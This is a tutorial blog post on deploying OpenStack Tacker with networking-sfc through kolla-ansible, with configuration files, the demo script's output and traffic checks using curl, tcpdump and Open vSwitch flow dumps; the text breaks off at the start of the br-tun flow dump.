hood](/openstack/index/nova-vnc-flows-under-the-hood) {% endcontent-ref %} {% content-ref url="/pages/-M1SIp5l1krV0VWsbf0r" %} [Ceph Ansible baremetal deployment](/openstack/index/ceph-ansible-baremetal-deployment) {% endcontent-ref %} {% content-ref url="/pages/-M1SKDMns5DH-7uwWRih" %} [Rally OpenStack benchmarking with Docker](/openstack/index/rally-openstack-benchmarking-with-docker) {% endcontent-ref %} {% content-ref url="/pages/-M1SHKlCGY4wR8kEXwTn" %} [OpenStack affinity/anti-affinity groups](/openstack/index/openstack-affinity-anti-affinity-groups) {% endcontent-ref %} {% content-ref url="/pages/-M1SGa6k3izKhDINozU4" %} [Migrate keystone v2.0 to keystone v3 OpenStack](/openstack/index/migrate-keystone-v2.0-to-keystone-v3-openstack) {% endcontent-ref %} {% content-ref url="/pages/-M1SFbdJcDT0YjqNcZ0R" %} [Neutron DVR OpenStack Liberty](/openstack/index/neutron-dvr-openstack-liberty) {% endcontent-ref %} {% content-ref url="/pages/-M1SF2J5T2M7y80xr87a" %} [OpenStack segregation with availability zones and host aggregates](/openstack/index/openstack-segregation-with-availability-zones-and-host-aggregates) {% endcontent-ref %} {% content-ref url="/pages/-M1SEi0\_balwg1PpN064" %} [Nova Docker driver](/openstack/index/nova-docker-driver) {% endcontent-ref %} {% content-ref url="/pages/-M1SE4Kwb56qwGZh1J-y" %} [Murano in RDO OpenStack manual installation](/openstack/index/murano-in-rdo-openstack-manual-installation) {% endcontent-ref %} {% content-ref url="/pages/-M1SCXxNEN2BcfV5eL\_r" %} [Ceph RadosGW admin Ops](/openstack/index/ceph-radosgw-admin-ops) {% endcontent-ref %} {% content-ref url="/pages/-M1SATDYGBKTiWH540Wp" %} [Multiple store locations for glance images](/openstack/index/multiple-store-locations-for-glance-images) {% endcontent-ref %} {% content-ref url="/pages/-M1S9dxdlDDkibTI-vHF" %} [List all tenants belonging an user](/openstack/index/list-all-tenants-belonging-an-user) {% endcontent-ref %} {% content-ref url="/pages/-M1S5uSEkOpLCLJh\_o35" %} [Load balancer as a service OpenStack LbaaS](/openstack/index/load-balancer-as-a-service-openstack-lbaas) {% endcontent-ref %} {% content-ref url="/pages/-M1S4ft4GSH9GeDB1JDb" %} [OpenStack nova API start error](/openstack/index/openstack-nova-api-start-error) {% endcontent-ref %} {% content-ref url="/pages/-M1S3LzWQxKpsPxF87OR" %} [Delete OpenStack neutron networks](/openstack/index/delete-openstack-neutron-networks) {% endcontent-ref %} # OpenStack tacker and service function chaining sfc with kolla In this blog post I will show how to deploy OpenStack Tacker with | Service Function Chaining (SFC) with OpenStack kolla project and make a few | verifications and tests to ensure fully NFV and SFC functionality. Tacker and SFC is only supported in kolla during Pike release or later. ### Tacker, NFV and SFC concepts Tacker is an OpenStack service for NFV Orchestration with a general purpose VNF Manager to deploy and operate Virtual Network Functions (VNFs) and Network Services on an NFV Platform. It is based on ETSI MANO Architectural | Framework. [Tacker documentation](https://docs.openstack.org/tacker/latest/) Network functions virtualization (NFV) is a network architecture concept that uses the technologies of IT virtualization to virtualize entire classes of network node functions into building blocks that may connect, or chain together, to create communication services. [ETSI NFV specs](http://www.etsi.org/technologies-clusters/technologies/nfv) Service Function Chaining is a mechanism for overriding the basic destination based forwarding that is typical of IP networks. It is conceptually related to Policy Based Routing in physical networks but it is typically thought of as a Software Defined Networking technology. It is often used in conjunction with security functions although it may be used for a broader range of features. [ETSI SFC spec](https://tools.ietf.org/html/rfc7665) ### Kolla Kolla is a highly opinionated deployment tool out of the box. This permits Kolla to be deployable with the simple configuration of three key/value pairs. As an operator's experience with OpenStack grows and the desire to customize OpenStack services increases, Kolla offers full capability to override every OpenStack service configuration option in the deployment. [kolla documentation](https://docs.openstack.org/kolla-ansible/latest/) #### Requirements Kolla depends on the following requirements to be met for a fully operational multinode OpenStack cluster with Tacker and SFC features: * Core compute stack (nova, neutron, glance, etc) * Heat * Mistral and Redis * Barbican * Networking-sfc #### Deployment Install base kolla and dependencies following [kolla\\'s quickstart guide](https://docs.openstack.org/kolla-ansible/latest/quickstart.html) Configure `globals.yml` and enable services in requirements, optionally other services can be enabled altogether. Refer to kolla documentation for other option/values information. ``` $ vi /etc/kolla/globals.yml --- kolla_base_distro: "centos" kolla_install_type: "source" kolla_internal_vip_address: "192.168.100.10" docker_registry: "192.168.100.1:4000" docker_namespace: "lokolla" network_interface: "ens9" neutron_external_interface: "ens10" # Tacker configuration enable_tacker: "yes" enable_neutron_sfc: "yes" enable_mistral: "yes" enable_redis: "yes" enable_barbican: "yes" #enable_heat: "yes" # Ensure it is not disabled ``` Configure inventory file. ``` $ vi [control] 192.168.100.244 192.168.100.186 192.168.100.159 [network] 192.168.100.244 192.168.100.186 192.168.100.159 [compute] 192.168.100.130 192.168.100.131 192.168.100.132 [monitoring] 192.168.100.244 192.168.100.186 192.168.100.159 [storage] 192.168.100.244 192.168.100.186 192.168.100.159 ``` Generate passwords ``` $ kolla-genpwd ``` Deploy OpenStack. ``` $ kolla-ansible -i ~/multinode deploy ``` Once deployment finish, generate credential file and create base networks and a cirros image. ``` $ kolla-ansible -i ~/multinode post-deploy $ source /etc/kolla/admin-openrc.sh $ sh init-runonce ``` ### Tacker and SFC demo In kolla-ansible repository a tacker demo is present. [Tacker demo](https://github.com/openstack/kolla-ansible/tree/master/contrib/demos/tacker) ``` $ cd /contrib/demos/tacker/ $ ls -l total 16 -rw-r--r-- 1 root root 615 Aug 24 20:21 cleanup-tacker -rw-r--r-- 1 root root 1937 Aug 24 20:21 deploy-tacker-demo -rw-r--r-- 1 root root 2649 Aug 24 20:21 deploy-tacker-demo-sfc -rw-r--r-- 1 root root 396 Aug 18 13:53 README.rst ``` Before starting the demo, install tacker and networking-sfc clients. ``` $ pip install python-tackerclient networking-sfc ``` #### Demo description Tacker demo for SFC will create the following resources: * Tacker default VIM * Tacker VNFD * Tacker VNF * kolla\_sfc\_client instance with a floating IP * kolla\_sfc\_server instance with a floating IP * Tacker VNFFGD * Tacker VNFFG After demo is deployed will be able to: * Create sample web server in kolla\_sfc\_server instance. * Request web service from kolla\_sfc\_client Traffic flows: * Request from kolla\_sfc\_client instance * Tacker VNF instance will receive the traffic and redirect to kolla\_sfc\_server * kolla\_sfc\_server instance receive request and reply with \\"W00t from Kolla HTTP server!\\" message. #### Execute tacker demo In tacker demo directory initialize execution. ``` $ sh deploy-tacker-demo-sfc Generating sample config Registering sample VIM Created a new vim: +----------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | Field | Value | +----------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | auth_cred | {"username": "admin", "password": "***", "project_name": "admin", "user_domain_name": "Default", "key_type": "barbican_key", "secret_uuid": "***", "auth_url": "http://192.168.100.10:35357/v3", "project_id": null, "project_domain_name": "Default"} | | auth_url | http://192.168.100.10:35357/v3 | | created_at | 2017-08-28 08:49:01.385013 | | description | kolla sample vim | | id | 0cb20dff-b6d2-44ab-9124-cdeb018269a2 | | is_default | True | | name | kolla-sample-vim | | placement_attr | {"regions": ["RegionOne"]} | | status | PENDING | | tenant_id | 9fb078d4c7e54a92b3068eb5c0f83ec5 | | type | openstack | | updated_at | | | vim_project | {"name": "admin", "project_domain_name": "Default"} | +----------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Creating sample VNFD Created a new vnfd: +-----------------+--------------------------------------+ | Field | Value | +-----------------+--------------------------------------+ | created_at | 2017-08-28 08:49:03.915848 | | description | Demo example | | id | d9633774-f9a4-492c-8055-ff3b2bc08581 | | name | kolla-sample-vnfd | | service_types | vnfd | | template_source | onboarded | | tenant_id | 9fb078d4c7e54a92b3068eb5c0f83ec5 | | updated_at | | +-----------------+--------------------------------------+ Creating sample VNF Created a new vnf: +----------------+--------------------------------------+ | Field | Value | +----------------+--------------------------------------+ | created_at | 2017-08-28 08:49:08.921243 | | description | Demo example | | error_reason | | | id | a3f73d1b-6d6b-44c9-a6ef-a808f12bc633 | | instance_id | 57246b92-fdf2-416f-921a-6760e05c74b4 | | mgmt_url | | | name | kolla-sample-vnf | | placement_attr | {"vim_name": "kolla-sample-vim"} | | status | PENDING_CREATE | | tenant_id | 9fb078d4c7e54a92b3068eb5c0f83ec5 | | updated_at | | | vim_id | 0cb20dff-b6d2-44ab-9124-cdeb018269a2 | | vnfd_id | d9633774-f9a4-492c-8055-ff3b2bc08581 | +----------------+--------------------------------------+ Creating SFC demo instances +-------------------------------------+----------------------------------------------------------+ | Field | Value | +-------------------------------------+----------------------------------------------------------+ | OS-DCF:diskConfig | MANUAL | | OS-EXT-AZ:availability_zone | nova | | OS-EXT-SRV-ATTR:host | controller | | OS-EXT-SRV-ATTR:hypervisor_hostname | controller | | OS-EXT-SRV-ATTR:instance_name | instance-0000000c | | OS-EXT-STS:power_state | Running | | OS-EXT-STS:task_state | None | | OS-EXT-STS:vm_state | active | | OS-SRV-USG:launched_at | 2017-08-28T08:50:00.000000 | | OS-SRV-USG:terminated_at | None | | accessIPv4 | | | accessIPv6 | | | addresses | demo-net=10.0.0.3 | | adminPass | HGW57Pe5r8pC | | config_drive | | | created | 2017-08-28T08:49:41Z | | flavor | m1.tiny (1) | | hostId | bec7629dd00bde2fd03ac3c939eea34fa1a2f7e4a6f8337b0e08bca4 | | id | 90304f68-6b38-4753-b0c2-a62835abebde | | image | cirros (f0a80381-2bd0-4c53-8300-377a7e4bf065) | | key_name | None | | name | kolla_sfc_server | | progress | 0 | | project_id | 9fb078d4c7e54a92b3068eb5c0f83ec5 | | properties | | | security_groups | name='default' | | status | ACTIVE | | updated | 2017-08-28T08:50:00Z | | user_id | 2d948bf4056c4e0d878a0f3f4765d3f9 | | volumes_attached | | +-------------------------------------+----------------------------------------------------------+ +-------------------------------------+----------------------------------------------------------+ | Field | Value | +-------------------------------------+----------------------------------------------------------+ | OS-DCF:diskConfig | MANUAL | | OS-EXT-AZ:availability_zone | nova | | OS-EXT-SRV-ATTR:host | compute1 | | OS-EXT-SRV-ATTR:hypervisor_hostname | compute1 | | OS-EXT-SRV-ATTR:instance_name | instance-0000000e | | OS-EXT-STS:power_state | Running | | OS-EXT-STS:task_state | None | | OS-EXT-STS:vm_state | active | | OS-SRV-USG:launched_at | 2017-08-28T08:50:31.000000 | | OS-SRV-USG:terminated_at | None | | accessIPv4 | | | accessIPv6 | | | addresses | demo-net=10.0.0.7 | | adminPass | ZhQQG2vsetkV | | config_drive | | | created | 2017-08-28T08:50:12Z | | flavor | m1.tiny (1) | | hostId | 95d62e067390ab4fbaaebf971f9cc70c98c371532b6f9bfa08389fee | | id | e126fd2f-bdca-4e78-abc0-f0a2d4739a30 | | image | cirros (f0a80381-2bd0-4c53-8300-377a7e4bf065) | | key_name | None | | name | kolla_sfc_client | | progress | 0 | | project_id | 9fb078d4c7e54a92b3068eb5c0f83ec5 | | properties | | | security_groups | name='default' | | status | ACTIVE | | updated | 2017-08-28T08:50:31Z | | user_id | 2d948bf4056c4e0d878a0f3f4765d3f9 | | volumes_attached | | +-------------------------------------+----------------------------------------------------------+ Tacker SFC config files Creating VNFFGD Created a new vnffgd: +-----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | Field | Value | +-----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | description | | | id | 97d9f9e9-f9c3-45b6-9050-000226d37ec9 | | name | kolla-sample-vnffgd | | template | {"vnffgd": {"imports": ["/var/lib/kolla/venv/lib/python2.7/site-packages/tacker/tosca/lib/tacker_defs.yaml", "/var/lib/kolla/venv/lib/python2.7/site-packages/tacker/tosca/lib/tacker_nfv_defs.yaml"], "description": "Sample VNFFG template", "topology_template": {"node_templates": {"Forwarding_path1": {"type": "tosca.nodes.nfv.FP.Tacker", "description": "creates path (CP12->CP12)", "properties": {"policy": {"type": "ACL", "criteria": [{"network_src_port_id": "2779e692-f979-467c-81ae-34a176e12ed4"}, {"network_id": "9ab78f83-40b7-4435-be5c-eb40de435793"}, {"ip_proto": 6}, {"destination_port_range": "80-80"}]}, "path": [{"capability": "CP11", "forwarder": "kolla-sample-vnfd"}], "id": 51}}}, "description": "Sample VNFFG template", "groups": {"VNFFG1": {"type": "tosca.groups.nfv.VNFFG", "description": "HTTP to Corporate Net", "members": ["Forwarding_path1"], "properties": {"vendor": "tacker", "connection_point": ["CP11"], "version": 1.0, "constituent_vnfs": ["kolla-sample-vnfd"], "number_of_endpoints": 1, "dependent_virtual_link": ["VL1"]}}}}, "tosca_definitions_version": "tosca_simple_profile_for_nfv_1_0_0"}} | | template_source | onboarded | | tenant_id | 9fb078d4c7e54a92b3068eb5c0f83ec5 | +-----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Creating VNFFG Created a new vnffg: +------------------+---------------------------------------------------------------+ | Field | Value | +------------------+---------------------------------------------------------------+ | description | | | forwarding_paths | cff3d46e-9544-4775-82c3-0ac3c1f3864c | | id | a1e2a010-0c64-40ad-a54a-96d7e9d8e6a5 | | name | kolla-sample-vnffg | | status | PENDING_CREATE | | tenant_id | 9fb078d4c7e54a92b3068eb5c0f83ec5 | | vnf_mapping | {"kolla-sample-vnfd": "a3f73d1b-6d6b-44c9-a6ef-a808f12bc633"} | | vnffgd_id | 97d9f9e9-f9c3-45b6-9050-000226d37ec9 | +------------------+---------------------------------------------------------------+ Tacker sfc client floating ip address: 192.168.150.102 Tacker sfc server floating ip address: 192.168.150.110 Done. To create simple HTTP server in tacker_sfc_server instance run: ssh cirros@192.168.150.110 'while true; \ do echo -e "HTTP/1.0 200 OK\r\n\r\nW00t from Kolla HTTP server!" | sudo nc -l -p 80 ; done &' ``` Once finished, script will show server and client floating IP addresses, also a sample command to start a basic HTTP server in tacker\_sfc\_server instance. #### Validate resources Verify tacker resources are created. ``` $ tacker vim-list +--------------------------------------+----------------------------------+------------------+-----------+------------+------------------------------+-----------+ | id | tenant_id | name | type | is_default | placement_attr | status | +--------------------------------------+----------------------------------+------------------+-----------+------------+------------------------------+-----------+ | 0cb20dff-b6d2-44ab-9124-cdeb018269a2 | 9fb078d4c7e54a92b3068eb5c0f83ec5 | kolla-sample-vim | openstack | True | {u'regions': [u'RegionOne']} | REACHABLE | +--------------------------------------+----------------------------------+------------------+-----------+------------+------------------------------+-----------+ $ tacker vnf-list +--------------------------------------+------------------+-----------------------+--------+--------------------------------------+--------------------------------------+ | id | name | mgmt_url | status | vim_id | vnfd_id | +--------------------------------------+------------------+-----------------------+--------+--------------------------------------+--------------------------------------+ | a3f73d1b-6d6b-44c9-a6ef-a808f12bc633 | kolla-sample-vnf | {"VDU1": "10.0.0.12"} | ACTIVE | 0cb20dff-b6d2-44ab-9124-cdeb018269a2 | d9633774-f9a4-492c-8055-ff3b2bc08581 | +--------------------------------------+------------------+-----------------------+--------+--------------------------------------+--------------------------------------+ $ tacker vnfd-list +--------------------------------------+-------------------+-----------------+--------------+ | id | name | template_source | description | +--------------------------------------+-------------------+-----------------+--------------+ | d9633774-f9a4-492c-8055-ff3b2bc08581 | kolla-sample-vnfd | onboarded | Demo example | +--------------------------------------+-------------------+-----------------+--------------+ ``` Verify nova and heat resources are created. ``` $ openstack server list +--------------------------------------+-------------------------------------------------------+--------+------------------------------------+--------+-----------------------------------------------------------------------------------------------------------------------+ | ID | Name | Status | Networks | Image | Flavor | +--------------------------------------+-------------------------------------------------------+--------+------------------------------------+--------+-----------------------------------------------------------------------------------------------------------------------+ | e126fd2f-bdca-4e78-abc0-f0a2d4739a30 | kolla_sfc_client | ACTIVE | demo-net=10.0.0.7, 192.168.150.102 | cirros | m1.tiny | | 90304f68-6b38-4753-b0c2-a62835abebde | kolla_sfc_server | ACTIVE | demo-net=10.0.0.3, 192.168.150.110 | cirros | m1.tiny | | 61e2ec3a-444f-4048-bc8d-a599e29e14bd | ta-3d1b-6d6b-44c9-a6ef-a808f12bc633-VDU1-hvpraqctwpm7 | ACTIVE | demo-net=10.0.0.12 | cirros | tacker.vnfm.infra_drivers.openstack.openstack_OpenStack-a3f73d1b-6d6b-44c9-a6ef-a808f12bc633-VDU1_flavor-4vsmp3jlvilk | +--------------------------------------+-------------------------------------------------------+--------+------------------------------------+--------+-----------------------------------------------------------------------------------------------------------------------+ $ openstack stack list +--------------------------------------+----------------------------------------------------------------------------------------------+----------------------------------+-----------------+----------------------+--------------+ | ID | Stack Name | Project | Stack Status | Creation Time | Updated Time | +--------------------------------------+----------------------------------------------------------------------------------------------+----------------------------------+-----------------+----------------------+--------------+ | 57246b92-fdf2-416f-921a-6760e05c74b4 | tacker.vnfm.infra_drivers.openstack.openstack_OpenStack-a3f73d1b-6d6b-44c9-a6ef-a808f12bc633 | 9fb078d4c7e54a92b3068eb5c0f83ec5 | CREATE_COMPLETE | 2017-08-28T08:49:11Z | None | +--------------------------------------+----------------------------------------------------------------------------------------------+----------------------------------+-----------------+----------------------+--------------+ ``` Verify networking-sfc resources. ``` $ openstack sfc port chain list +--------------------------------------+-------------------------------+-------------------------------------------+-------------------------------------------+------------------------------------------------+ | ID | Name | Port Pair Groups | Flow Classifiers | Chain Parameters | +--------------------------------------+-------------------------------+-------------------------------------------+-------------------------------------------+------------------------------------------------+ | ec35dfac-dc9d-40b8-8103-b510761753ae | kolla-sample-vnffg-port-chain | [u'9b73262f-f25d-400b-8aff-062d66a3bd76'] | [u'063231fc-f697-4bd9-bfb6-b89f89ff6117'] | {u'symmetric': False, u'correlation': u'mpls'} | +--------------------------------------+-------------------------------+-------------------------------------------+-------------------------------------------+------------------------------------------------+ $ openstack sfc port chain show kolla-sample-vnffg-port-chain +------------------+------------------------------------------------+ | Field | Value | +------------------+------------------------------------------------+ | chain_id | 1 | | chain_parameters | {u'symmetric': False, u'correlation': u'mpls'} | | description | port-chain for Tacker VNFFG | | flow_classifiers | [u'063231fc-f697-4bd9-bfb6-b89f89ff6117'] | | id | ec35dfac-dc9d-40b8-8103-b510761753ae | | name | kolla-sample-vnffg-port-chain | | port_pair_groups | [u'9b73262f-f25d-400b-8aff-062d66a3bd76'] | | project_id | 9fb078d4c7e54a92b3068eb5c0f83ec5 | +------------------+------------------------------------------------+ $ openstack sfc port pair group list +--------------------------------------+----------------------------------+-------------------------------------------+---------------------------------------------------------------------------------------------+ | ID | Name | Port Pair | Port Pair Group Parameters | +--------------------------------------+----------------------------------+-------------------------------------------+---------------------------------------------------------------------------------------------+ | 9b73262f-f25d-400b-8aff-062d66a3bd76 | kolla-sample-vnf-port-pair-group | [u'bb944348-2610-4068-8c87-9288904edf11'] | {u'lb_fields': [], u'ppg_n_tuple_mapping': {u'ingress_n_tuple': {}, u'egress_n_tuple': {}}} | +--------------------------------------+----------------------------------+-------------------------------------------+---------------------------------------------------------------------------------------------+ $ openstack sfc port pair group show kolla-sample-vnf-port-pair-group +----------------------------+---------------------------------------------------------------------------------------------+ | Field | Value | +----------------------------+---------------------------------------------------------------------------------------------+ | description | port pair group for kolla-sample-vnf | | group_id | 1 | | id | 9b73262f-f25d-400b-8aff-062d66a3bd76 | | name | kolla-sample-vnf-port-pair-group | | port_pair_group_parameters | {u'lb_fields': [], u'ppg_n_tuple_mapping': {u'ingress_n_tuple': {}, u'egress_n_tuple': {}}} | | port_pairs | [u'bb944348-2610-4068-8c87-9288904edf11'] | | project_id | 9fb078d4c7e54a92b3068eb5c0f83ec5 | +----------------------------+---------------------------------------------------------------------------------------------+ $ openstack sfc flow classifier list +--------------------------------------+------+----------+-----------+----------------+--------------------------------------+--------------------------+ | ID | Name | Protocol | Source-IP | Destination-IP | Logical-Source-Port | Logical-Destination-Port | +--------------------------------------+------+----------+-----------+----------------+--------------------------------------+--------------------------+ | 063231fc-f697-4bd9-bfb6-b89f89ff6117 | | tcp | None | None | 2779e692-f979-467c-81ae-34a176e12ed4 | None | +--------------------------------------+------+----------+-----------+----------------+--------------------------------------+--------------------------+ $ openstack sfc flow classifier show 063231fc-f697-4bd9-bfb6-b89f89ff6117 +----------------------------+--------------------------------------+ | Field | Value | +----------------------------+--------------------------------------+ | description | | | destination_ip_prefix | None | | destination_port_range_max | 80 | | destination_port_range_min | 80 | | ethertype | IPv4 | | id | 063231fc-f697-4bd9-bfb6-b89f89ff6117 | | l7_parameters | {} | | logical_destination_port | None | | logical_source_port | 2779e692-f979-467c-81ae-34a176e12ed4 | | name | | | project_id | 9fb078d4c7e54a92b3068eb5c0f83ec5 | | protocol | tcp | | source_ip_prefix | None | | source_port_range_max | None | | source_port_range_min | None | +----------------------------+--------------------------------------+ ``` #### Verify traffic flows Execute the command to create a sample web server in tacker\_sfc\_server. ``` $ ssh cirros@192.168.150.110 'while true; \ > do echo -e "HTTP/1.0 200 OK\r\n\r\nW00t from Kolla HTTP server!" | sudo nc -l -p 80 ; done &' The authenticity of host '192.168.150.110 (192.168.150.110)' can't be established. RSA key fingerprint is c6:14:b1:d9:84:b5:83:54:47:8e:20:eb:81:a2:f7:62. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.150.110' (RSA) to the list of known hosts. cirros@192.168.150.110's password: ``` Connect to tacker\_sfc\_client through the floating IP address ``` $ ssh cirros@192.168.150.102 The authenticity of host '192.168.150.102 (192.168.150.102)' can't be established. RSA key fingerprint is 5e:51:88:93:70:90:0e:24:55:81:47:b4:d6:28:4b:f9. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.150.102' (RSA) to the list of known hosts. cirros@192.168.150.102's password: ``` Curl to tacker\_sfc\_server internal/fixed IP address. Should receive \\"W00t from Kolla HTTP server!\\" message ``` $ curl http://10.0.0.3 W00t from Kolla HTTP server! ``` Find hypervisor where tacker VNF instance is running. ``` $ openstack server list -c Name -c Host -c Networks -c Status --long +-------------------------------------------------------+--------+------------------------------------+------------+ | Name | Status | Networks | Host | +-------------------------------------------------------+--------+------------------------------------+------------+ | kolla_sfc_client | ACTIVE | demo-net=10.0.0.7, 192.168.150.102 | compute1 | | kolla_sfc_server | ACTIVE | demo-net=10.0.0.3, 192.168.150.110 | controller | | ta-3d1b-6d6b-44c9-a6ef-a808f12bc633-VDU1-hvpraqctwpm7 | ACTIVE | demo-net=10.0.0.12 | compute1 | +-------------------------------------------------------+--------+------------------------------------+------------+ ``` Find tacker VNF instance port ID ``` $ openstack port list --server ta-3d1b-6d6b-44c9-a6ef-a808f12bc633-VDU1-hvpraqctwpm7 -c ID +--------------------------------------+ | ID | +--------------------------------------+ | e5da60a7-a348-4bee-a52a-96ae33b53a26 | +--------------------------------------+ ``` In the host where the instance is running, locate the tap interface. Tap interface is `tap`. Start tcpdump in port 80 in the tap interface. ``` $ tcpdump port 80 -eni tape5da60a7-a3 tcpdump: WARNING: tape5da60a7-a3: no IPv4 address assigned tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on tape5da60a7-a3, link-type EN10MB (Ethernet), capture size 65535 bytes ``` Now curl again from tacker\_sfc\_client instance. ``` $ curl http://10.0.0.3 W00t from Kolla HTTP server! ``` In the tcpdump should see traffic flowing to tacker\_sfc\_server from tacker\_sfc\_client ``` 10:18:39.207908 fa:16:3e:6d:65:14 > fa:16:3e:2f:3e:90, ethertype IPv4 (0x0800), length 74: 10.0.0.7.40475 > 10.0.0.3.http: Flags [S], seq 3060324847, win 14100, options [mss 1410,sackOK,TS val 346030 ecr 0,nop,wscale 3], length 0 10:18:39.209263 fa:16:3e:2f:3e:90 > fa:16:3e:d7:6f:3b, ethertype IPv4 (0x0800), length 74: 10.0.0.7.40475 > 10.0.0.3.http: Flags [S], seq 3060324847, win 14100, options [mss 1410,sackOK,TS val 346030 ecr 0,nop,wscale 3], length 0 10:18:39.214001 fa:16:3e:6d:65:14 > fa:16:3e:2f:3e:90, ethertype IPv4 (0x0800), length 66: 10.0.0.7.40475 > 10.0.0.3.http: Flags [.], ack 2793310193, win 1763, options [nop,nop,TS val 346032 ecr 352982], length 0 10:18:39.214924 fa:16:3e:2f:3e:90 > fa:16:3e:d7:6f:3b, ethertype IPv4 (0x0800), length 66: 10.0.0.7.40475 > 10.0.0.3.http: Flags [.], ack 1, win 1763, options [nop,nop,TS val 346032 ecr 352982], length 0 10:18:39.222308 fa:16:3e:6d:65:14 > fa:16:3e:2f:3e:90, ethertype IPv4 (0x0800), length 201: 10.0.0.7.40475 > 10.0.0.3.http: Flags [P.], seq 0:135, ack 1, win 1763, options [nop,nop,TS val 346034 ecr 352982], length 135 10:18:39.222333 fa:16:3e:6d:65:14 > fa:16:3e:2f:3e:90, ethertype IPv4 (0x0800), length 66: 10.0.0.7.40475 > 10.0.0.3.http: Flags [.], ack 49, win 1763, options [nop,nop,TS val 346034 ecr 352983], length 0 10:18:39.224660 fa:16:3e:2f:3e:90 > fa:16:3e:d7:6f:3b, ethertype IPv4 (0x0800), length 201: 10.0.0.7.40475 > 10.0.0.3.http: Flags [P.], seq 0:135, ack 1, win 1763, options [nop,nop,TS val 346034 ecr 352982], length 135 10:18:39.224773 fa:16:3e:2f:3e:90 > fa:16:3e:d7:6f:3b, ethertype IPv4 (0x0800), length 66: 10.0.0.7.40475 > 10.0.0.3.http: Flags [.], ack 49, win 1763, options [nop,nop,TS val 346034 ecr 352983], length 0 10:18:39.250113 fa:16:3e:6d:65:14 > fa:16:3e:2f:3e:90, ethertype IPv4 (0x0800), length 66: 10.0.0.7.40475 > 10.0.0.3.http: Flags [F.], seq 135, ack 50, win 1763, options [nop,nop,TS val 346041 ecr 352990], length 0 10:18:39.252871 fa:16:3e:2f:3e:90 > fa:16:3e:d7:6f:3b, ethertype IPv4 (0x0800), length 66: 10.0.0.7.40475 > 10.0.0.3.http: Flags [F.], seq 135, ack 50, win 1763, options [nop,nop,TS val 346041 ecr 352990], length 0 ``` Check br-int ovs flows. ``` $ docker exec openvswitch_db ovs-ofctl dump-flows br-int NXST_FLOW reply (xid=0x4): cookie=0x4d21ac58ca610153, duration=1952.266s, table=0, n_packets=20, n_bytes=1892, idle_age=300, priority=30,tcp,in_port=4,nw_src=10.0.0.7,tp_dst=80 actions=NORMAL cookie=0x4d21ac58ca610153, duration=1951.781s, table=0, n_packets=20, n_bytes=1892, idle_age=300, priority=30,tcp,in_port=5,nw_src=10.0.0.7,tp_dst=80 actions=group:1 cookie=0x4d21ac58ca610153, duration=3824.910s, table=0, n_packets=0, n_bytes=0, idle_age=3824, priority=20,mpls actions=resubmit(,10) cookie=0x5efe7af1c4c4da43, duration=1986.768s, table=0, n_packets=0, n_bytes=0, idle_age=1986, priority=10,icmp6,in_port=5,icmp_type=136 actions=resubmit(,24) cookie=0x5efe7af1c4c4da43, duration=1986.765s, table=0, n_packets=9, n_bytes=378, idle_age=296, priority=10,arp,in_port=5 actions=resubmit(,24) cookie=0x5efe7af1c4c4da43, duration=1986.771s, table=0, n_packets=151, n_bytes=16475, idle_age=300, priority=9,in_port=5 actions=resubmit(,25) cookie=0x5efe7af1c4c4da43, duration=3828.290s, table=0, n_packets=575, n_bytes=63516, idle_age=296, priority=0 actions=resubmit(,60) cookie=0x4d21ac58ca610153, duration=1952.498s, table=5, n_packets=20, n_bytes=1892, idle_age=300, priority=0,ip,dl_dst=fa:16:3e:2f:3e:90 actions=push_mpls:0x8847,load:0x1ff->OXM_OF_MPLS_LABEL[],set_mpls_ttl(255),mod_vlan_vid:2,resubmit(,10) cookie=0x4d21ac58ca610153, duration=1951.976s, table=10, n_packets=20, n_bytes=1892, idle_age=300, priority=1,mpls,dl_vlan=2,dl_dst=fa:16:3e:2f:3e:90,mpls_label=511 actions=strip_vlan,pop_mpls:0x0800,output:4 cookie=0x4d21ac58ca610153, duration=3824.909s, table=10, n_packets=0, n_bytes=0, idle_age=3824, priority=0 actions=drop cookie=0x5efe7af1c4c4da43, duration=3828.292s, table=23, n_packets=0, n_bytes=0, idle_age=3828, priority=0 actions=drop cookie=0x5efe7af1c4c4da43, duration=1986.769s, table=24, n_packets=0, n_bytes=0, idle_age=1986, priority=2,icmp6,in_port=5,icmp_type=136,nd_target=fe80::f816:3eff:fe6d:6514 actions=resubmit(,60) cookie=0x5efe7af1c4c4da43, duration=1986.766s, table=24, n_packets=9, n_bytes=378, idle_age=296, priority=2,arp,in_port=5,arp_spa=10.0.0.7 actions=resubmit(,25) cookie=0x5efe7af1c4c4da43, duration=3828.286s, table=24, n_packets=0, n_bytes=0, idle_age=3828, priority=0 actions=drop cookie=0x5efe7af1c4c4da43, duration=1986.774s, table=25, n_packets=159, n_bytes=16783, idle_age=296, priority=2,in_port=5,dl_src=fa:16:3e:6d:65:14 actions=resubmit(,60) cookie=0x5efe7af1c4c4da43, duration=3828.287s, table=60, n_packets=836, n_bytes=90430, idle_age=296, priority=3 actions=NORMAL ``` Check br-tun ovs flows. ``` $ docker exec openvswitch_db ovs-ofctl dump-flows br-tun NXST_FLOW reply (xid=0x4): 